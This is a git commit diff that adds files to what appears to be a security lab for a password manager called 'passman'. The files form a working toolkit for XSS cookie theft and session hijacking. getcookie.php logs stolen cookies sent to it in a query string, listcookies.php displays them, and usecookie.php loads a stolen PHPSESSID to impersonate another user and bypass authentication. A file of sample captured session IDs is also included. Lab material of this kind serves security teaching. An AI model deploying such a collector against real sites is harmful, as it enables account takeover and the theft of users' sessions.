Init commit with passman (and XSS) files aranged as a deployed environment
This commit is contained in:
@@ -0,0 +1,47 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Get a cookie</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<h3>Get a cookie</h3>
|
||||
|
||||
<?php
|
||||
// Check if 'value' parameter is passed via GET
|
||||
// http://localhost/passman/xss/getcookie.php?v=PHPSESSID=o1mg400lipd2mck69kpfnl6p5s
|
||||
|
||||
if (isset($_GET['v'])) {
|
||||
$stolen_cookie = $_GET['v']; // Retrieve the value from the GET parameter
|
||||
|
||||
// Define the file path where the value will be stored
|
||||
$file = 'stolencookies.txt';
|
||||
|
||||
// Append the value to the file (or create it if it doesn't exist)
|
||||
file_put_contents($file, $stolen_cookie . PHP_EOL, FILE_APPEND);
|
||||
|
||||
echo "Value has been saved successfully!";
|
||||
} else {
|
||||
echo "No value received via GET query string.";
|
||||
}
|
||||
|
||||
// Set cookie manually for debugging:
|
||||
//$stolen_cookie = "PHPSESSID=o1mg400lipd2mck69kpfnl6p5s";
|
||||
?>
|
||||
<!--
|
||||
<script>
|
||||
let expires = new Date();
|
||||
//expires.setTime(expires.getTime()); // cookie expires now
|
||||
//expires.setTime(expires.getTime() + (30 * 24 * 60 * 60 * 1000)); // 30 days from now
|
||||
expires.setTime(expires.getTime() + (120 * 1000)); // 2 mins from now
|
||||
document.cookie = <?php echo '"' . $stolen_cookie . '"' ?> + "; path=/; expires=" + expires.toUTCString() + "; Secure; SameSite=Strict";
|
||||
|
||||
// Check if cookies are set using console.log
|
||||
console.log(document.cookie);
|
||||
</script>
|
||||
-->
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,36 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>XSS for Password Manager</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<h3> XSS for Password Manager</h3>
|
||||
|
||||
|
||||
<br />
|
||||
List of pages:
|
||||
<br />
|
||||
<ul>
|
||||
<li>
|
||||
Get a cookie: <a href="http://localhost/passman/xss/getcookie.php">getcookie.php</a>
|
||||
<br /><i>used by XSS javascripts as: http://localhost/passman/xss/getcookie.php?v=PHPSESSID=o1mg400lipd2mck69kpfnl6p5s</i>
|
||||
</li>
|
||||
<br />
|
||||
<li>
|
||||
File of stolen cookies: <a href="stolencookies.txt">stolencookies.txt</a>
|
||||
</li>
|
||||
<br />
|
||||
<li>
|
||||
List all cookies: <a href="http://localhost/passman/xss/listcookies.php">listcookies.php</a>
|
||||
</li>
|
||||
<br />
|
||||
<li>
|
||||
Use of a cookie: <a href="http://localhost/passman/xss/usecookie.php">usecookie.php</a>
|
||||
<br /><i>used by listcookies.php as http://localhost/passman/xss/usecookie.php?v=3h9ug308730bfugjjse0dbmcjr</i>
|
||||
</li>
|
||||
</ul>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,62 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>List stolen cookies</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<h3> List of 'stolen' cookies</h3>
|
||||
|
||||
<?php
|
||||
// Define the path to the cookie file
|
||||
$cookie_file = 'stolencookies.txt'; // Change this to the path of your cookie file
|
||||
|
||||
// Check if the file exists
|
||||
if (file_exists($cookie_file)) {
|
||||
// Read the contents of the cookie file
|
||||
$cookie_data = file($cookie_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
|
||||
|
||||
/*
|
||||
$expires = new DateTime('now', new DateTimeZone('UTC')); // Current UTC date and time
|
||||
$expires->modify('+2 minutes'); // Add 2 minutes
|
||||
$expiration = $expires->format('D, d M Y H:i:s') . ' GMT';
|
||||
*/
|
||||
// Process each line
|
||||
echo "<ol>";
|
||||
|
||||
$cookie_name = "PHPSESSID=";
|
||||
foreach ($cookie_data as $line) {
|
||||
// Split the cookies in each line by semicolon
|
||||
$cookies = explode(';', $line);
|
||||
|
||||
// List each cookie separately
|
||||
foreach ($cookies as $cookie) {
|
||||
$cookie = trim($cookie);
|
||||
// Check for PHPSESSID=... cookie
|
||||
if (strpos($cookie, $cookie_name) === 0) {
|
||||
// Get PHPSESSID cookie value
|
||||
$cookie = str_replace("PHPSESSID=", "", trim($cookie));
|
||||
echo "<li>";
|
||||
echo "<a href='http://localhost/passman/xss/usecookie.php?v=" . $cookie . "'>";
|
||||
echo "PHPSESSID=" . htmlspecialchars($cookie) . "</a>";
|
||||
echo "</li>";
|
||||
} else {
|
||||
// Cookie does not contain PHPSESSID value
|
||||
echo "<li>";
|
||||
echo " Skipping cookie: " . htmlspecialchars($cookie);
|
||||
echo "</li>";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
echo "</ol>";
|
||||
} else {
|
||||
// Error message if file does not exist
|
||||
echo "<p>Cookie file not found.</p>";
|
||||
}
|
||||
?>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,2 @@
|
||||
PHPSESSID=knjfug3u4gavdas9o4eupe38l1; seclab_user=u1
|
||||
seclab_user=u1; PHPSESSID=o1mg400lipd2mck69kpfnl6p5s
|
||||
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
// Check if 'value' parameter is passed via GET
|
||||
// http://localhost/passman/xss/setcookie.php?v=PHPSESSID
|
||||
if (isset($_GET['v'])) {
|
||||
$stolen_cookie = $_GET['v']; // Retrieve the value from the GET parameter
|
||||
|
||||
// Set the session cookie manually
|
||||
//setcookie("PHPSESSID", $stolen_cookie, time() + 3600, "/");
|
||||
setcookie("PHPSESSID", $stolen_cookie, 0, "/");
|
||||
|
||||
// Set the session ID
|
||||
session_id($stolen_cookie);
|
||||
|
||||
// Now resume the session
|
||||
session_start();
|
||||
}
|
||||
?>
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Test of using a stolen cookie</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<h3>Test of using a stolen cookie</h3>
|
||||
Bypassing authentication and impersonating another user by using a stolen cookie<br/>
|
||||
|
||||
<?php
|
||||
// Now use the session
|
||||
echo "Session ID is set to: <b>PHPSESSID=" . session_id() . "</b><br>";
|
||||
|
||||
/*
|
||||
if (isset($_SESSION['loggedin']) && $_SESSION['username'] !== '') {
|
||||
echo "Username: " . $_SESSION['username'] . "<br>";
|
||||
echo "Logged in: " . $_SESSION['loggedin'] . "<br>";
|
||||
}
|
||||
else {
|
||||
echo "session variables expired";
|
||||
}
|
||||
*/
|
||||
// If session parameter is not set, set it to: 'undefined ...'
|
||||
$username = $_SESSION['username'] ?? 'undefined (session variable expired)';
|
||||
$loggedin = $_SESSION['loggedin'] ?? 'undefined (session variable expired)';
|
||||
echo "<b>Username:</b> " . $username . "<br>";
|
||||
echo "<b>Logged in flag:</b> " . $loggedin . "<br>";
|
||||
?>
|
||||
|
||||
<br />
|
||||
If all above session parameters are defined, try accessing the
|
||||
<a href="../dashboard.php">dashboard</a>
|
||||
|
||||
<br /><br />
|
||||
<a href="listcookies.php">List cookies</a>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user